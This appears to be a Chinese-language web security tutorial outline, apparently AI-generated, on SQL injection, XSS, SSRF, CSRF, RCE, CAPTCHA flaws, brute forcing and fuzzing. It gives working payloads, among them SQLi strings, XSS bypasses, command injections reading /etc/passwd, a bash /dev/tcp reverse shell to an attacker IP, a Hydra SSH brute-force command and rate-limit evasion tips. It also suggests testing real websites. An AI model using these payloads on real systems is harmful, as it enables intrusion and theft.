2.1 Web漏洞
2.1.1 SQL注入漏洞原理(一、二)
原理:通过用户输入构造恶意SQL语句,绕过应用程序逻辑直接操作数据库。
-
常见类型:
-
联合查询注入:
' UNION SELECT 1,user(),3--
-
报错注入:
' AND updatexml(1,concat(0x7e,user()),1)--
-
布尔盲注:
' AND (SELECT substr(user(),1,1)='a')--
-
危害:
-
数据库信息泄露(如用户表、管理员密码)。
-
服务器文件读写(需
secure_file_priv
权限)。 -
远程命令执行(如MySQL的
INTO OUTFILE
结合Web目录)。
2.1.2 XSS、SSRF、CSRF漏洞中的Fuzz技巧
-
XSS(跨站脚本):
-
Fuzz向量:
<script>alert(1)</script>
、<img src=x onerror=alert(1)>
。 -
绕过技巧:
-
编码绕过:
\u003cscript\u003ealert(1)\u003c/script\u003e
。 -
事件触发:
" onmouseover="alert(1)"
。 -
SSRF(服务端请求伪造):
-
Fuzz目标参数:URL、IP、协议(如
file:///etc/passwd
、http://内部IP
)。 -
绕过方式:
-
短网址重定向:
http://tinyurl.com/xxx → http://内网IP
。 -
DNS解析混淆:
http://127.0.0.1.xip.io
。 -
CSRF(跨站请求伪造):
-
漏洞验证:构造自动提交表单的恶意页面。
-
防御绕过:
-
利用JSONP接口绕过同源策略。
2.1.3 RCE漏洞利用
原理:通过注入恶意代码实现远程命令执行(如PHP的system()
函数未过滤输入)。
-
典型场景:
-
Web应用执行系统命令:
http://target.com/cmd.php?command=id
。 -
反序列化漏洞(如Java的
Apache Commons Collections
)。 -
利用步骤:
-
探测危险函数:
eval()
、exec()
、popen()
。 -
注入命令:
; cat /etc/passwd
、| whoami
。 -
反弹Shell:
bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1'
。
2.2 验证码漏洞
2.2.1 短信验证码逻辑漏洞
-
常见漏洞:
-
验证码未绑定手机号:修改请求参数中的手机号,将他人验证码绑定至自己账户。
-
验证码可重复使用:同一验证码多次提交仍有效。
-
验证码时效过长:默认有效期24小时,攻击者可暴力穷举。
-
防御方案:
-
绑定会话ID与手机号,限制验证码有效期至1分钟。
2.2.2 验证码回显漏洞挖掘
-
漏洞表现:验证码直接返回在响应中(如JSON字段、HTML注释)。
-
攻击步骤:
-
拦截注册/登录请求,分析响应包。
-
提取验证码自动完成流程(脚本化攻击)。
2.2.3 验证码绕过漏洞挖掘
-
前端绕过:
-
禁用JavaScript,直接提交空验证码字段。
-
后端逻辑漏洞:
-
验证码校验接口未与业务接口联动(如先请求
/bypass
再请求/login
)。
2.3 暴力破解技术
2.3.1 弱口令攻击实战
-
常用字典:
-
用户名字典:
admin
、test
、root
。 -
密码字典:
123456
、password
、admin@123
。 -
工具自动化:
-
使用
Hydra
爆破SSH:
hydra -L users.txt -P passwords.txt ssh://目标IP
2.3.2 暴力破解防护绕过
-
IP轮换:通过代理池(如
ProxyMesh
)避免被封禁。 -
速率限制绕过:
-
添加随机延迟:
--throttle 5
(每次请求间隔5秒)。 -
分批次攻击:针对不同账号分散请求。
2.4 模糊测试(Fuzzing)
2.4.1 FUZZ工具及字典
-
工具推荐:
-
Burp Intruder:Web参数Fuzz。
-
wfuzz:路径/子域名爆破:
wfuzz -c -w dirs.txt https://target.com/FUZZ
。 -
AFL(American Fuzzy Lop):二进制程序Fuzz。
-
字典定制:
-
收集公开字典(如
SecLists
),针对目标业务关键词扩展(如API端点、参数名)。
2.4.2 实战FUZZ参数到远程RCE漏洞
- 步骤:
-
定位敏感参数:
cmd
、file
、function
。 -
注入测试Payload:
;id
、$(whoami)
、{{7*7}}
。 -
分析响应:寻找命令执行痕迹(如
uid=0(root)
)。
-
案例:
-
某CMS的模板引擎漏洞:
/render?template=<%25=7*7%25>
返回49
。
总结
Web漏洞与攻防技术是安全攻防的核心战场:
-
SQL注入/XSS:需严格过滤输入,使用ORM框架或预编译语句。
-
验证码漏洞:强化服务端逻辑校验,避免信息泄露。
-
暴力破解:强制使用复杂密码,启用多因素认证。
-
Fuzzing:自动化工具可高效发现隐藏漏洞,但需结合手动验证。
下一步学习建议:
-
搭建DVWA或WebGoat靶场,实战练习SQL注入和XSS漏洞利用。
-
使用Burp Suite对真实网站进行验证码逻辑测试。
-
通过CTF题目(如HackTheBox)深化RCE漏洞利用技巧。
提示:后续文章可继续按编号体系展开(如“3.1 本地环境搭建”),需要时随时告知!